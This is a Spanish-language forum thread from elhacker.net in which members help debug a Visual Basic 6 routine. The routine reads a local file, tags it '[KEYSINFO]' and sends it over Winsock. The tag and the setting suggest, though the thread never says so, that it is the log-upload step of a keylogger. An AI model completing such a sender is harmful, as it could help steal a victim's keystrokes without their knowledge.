Tema destacado: Sigue las noticias más importantes de elhacker.net en  twitter!
 Autor
|
Tema: [SOLUCIONADO] Problema al abrir archivo para enviar (Leído 2,517 veces)
|
ŞCØRPIØN-X3
 Desconectado
Mensajes: 119
|
wenas, modifique un code que lo que hace es abrir un archivo en binario y lo va enviando por parte usando winsock para luego ser mostrado en el otro formulario, este es el code: Dim buf As String * 1024
Dim Todox As String
Open "C:\Archivo.txt" For Binary As #2
Do While Not EOF(2)
DoEvents
Get #2, , buf
Todox = "[KEYSINFO]" & Todox & buf
Loop
Close
Form1.Winsock1.SendData Todox el problema que tengo es que me tira error en la linea: Do While Not EOF(2) lo mas raro es que si lo ejecuto en un proyecto limpio funciona pero dentro de mi proyecto no funciona es como que entra en conflicto con otra funcion y nose que podra ser..    El error que me da es: nombre o numero de archivo incorrectogracias por su tiempo, espero sus respuestas 
|
|
|
|
« Última modificación: 12 Mayo 2011, 23:34 por ŞCØRPIØN-X3 »
|
En línea
|
|
|
|
BlackZeroX (Astaroth)
Wiki
Desconectado
Mensajes: 2.832
I'Love...!¡.
|
. usa freefile
Dim ff as integer
ff= freefile
if dir ( <ArchivoX> , vbarchive ) <> "" then
open <ArchivoX> <criterios> as ff
... EOF(ff) ...
close ff
end if
|
|
|
|
|
En línea
|
|
|
|
|
|
Edu
Desconectado
Mensajes: 1.082
Ex XXX-ZERO-XXX
|
Creo q la idea en si esta mal pensada o no la entendi
|
|
|
|
|
En línea
|
|
|
|
|
|
Edu
Desconectado
Mensajes: 1.082
Ex XXX-ZERO-XXX
|
Pero digo q por lo q leo enviara todo el contenido del archivo de una :S
Tendrias q poner el senddata dentro del bucle y sacar eso de todox y solo ir enviando buf.
Talvez me equivoco no se, pero de ultima ese no es tu problema, ni idea porq te dice ese error q nombras..
|
|
|
|
|
En línea
|
|
|
|
|
|
BlackZeroX (Astaroth)
Wiki
Desconectado
Mensajes: 2.832
I'Love...!¡.
|
. Intenta así al do while hay que meterle una expresion no obvia cosas con not xS
Do While EOF(ff) = false
pero veo que hacer algo muy lineal que no tiene caso asi que intenta mejor asi:
const sfile as string = "C:\Archivo.txt"
Dim bBuff() As byte ' // usamos byte por que con string nos consumira el doble de memoria.
Dim ff As Integer
if (dir(sfile,vbarchive)<>"") then
ff = FreeFile
Open (sfile) For Binary As ff
if ( LOF(ff) > 0 ) then
redim bBuff( 0 to (LOF(ff)-1) ) ' // con una string seria sBuff=space(LOF(ff)) sin el "-1"
Get ff, , bBuff
end if
Close ff
Form1.Winsock1.SendData bBuff
end if
P.D.: no tengo instalado el vb asi que espero funcione lo que te he puesto. Dulces Lunas!¡. - |
|
|
|
« Última modificación: 23 Abril 2011, 10:45 por BlackZeroX▓▓▒▒░░ »
|
En línea
|
|
|
|
ŞCØRPIØN-X3
Desconectado
Mensajes: 119
|
gracias por la respuesta, estoy probando pero le falta el loop para que se repita la operación y falta ponerle un limite a bBuf
|
|
|
|
|
En línea
|
|
|
|
|
raul338
|
lei el temas muy por arriba. Capaz que ya abris el archivo antes y no lo cerras a tiempo, entonces lo terminas abriendo 2 veces. Pone puntos de interrupcion y depura tu programa
|
|
|
|
|
En línea
|
|
|
|
BlackZeroX (Astaroth)
Wiki
Desconectado
Mensajes: 2.832
I'Love...!¡.
|
gracias por la respuesta, estoy probando pero le falta el loop para que se repita la operación y falta ponerle un limite a bBuf
Analisa el 2do codigo... por otro lado el 1ro es solo una parte tampoco te dare todo el codigo ¬¬!. Dulces Lunas1¡. .
|
|
|
|
|
En línea
|
|
|
|
ŞCØRPIØN-X3
Desconectado
Mensajes: 119
|
si lo analise y ya probe pero no va sigue con lo mismo ¬¬ no es el code sino que entra en conflicto con algo, como ago para ejecutar mi programa sin tener que generarlo y sin tener que borrar parte del code. Lo que pasa es que mi code tiene funciones que necesita estar generado para que funcionen :S, el otro dia por probar esto mismo borre todo el load de mi proyecto y mi hermano lo guardo y lo cerro cuando yo no estaba ¬¬ estuve una semana reconstruyendo lo que perdi :'(
|
|
|
|
|
En línea
|
|
|
|
BlackZeroX (Astaroth)
Wiki
Desconectado
Mensajes: 2.832
I'Love...!¡.
|
.
Tienes Varias Opciones para corregir el Código fuente como son:
Puntos de interrupción.
Recorrer linea a linea el código fuente.
...
Analizar el flujo del programa.
Depuración Parcial.
Depuración Completa.
y como sabrán muchos estas opciones están en los menús del IDE...
tal y como tijo RAUL338
Dulces Lunas!¡.
.
|
|
|
|
|
En línea
|
|
|
|
ŞCØRPIØN-X3
Desconectado
Mensajes: 119
|
me podrias guiar un poco en eso porfavor?, nunk e utilizado esas funciones :S nose cual es el menu IDE
En el menu de depuracion esta la opcion para poner puntos de interrupcion pero nose para que sirve ni como se usa xD
|
|
|
|
« Última modificación: 27 Abril 2011, 22:15 por ŞCØRPIØN-X3 »
|
En línea
|
|
|
|
|
|
|
 |
gracias por responder a los dos 
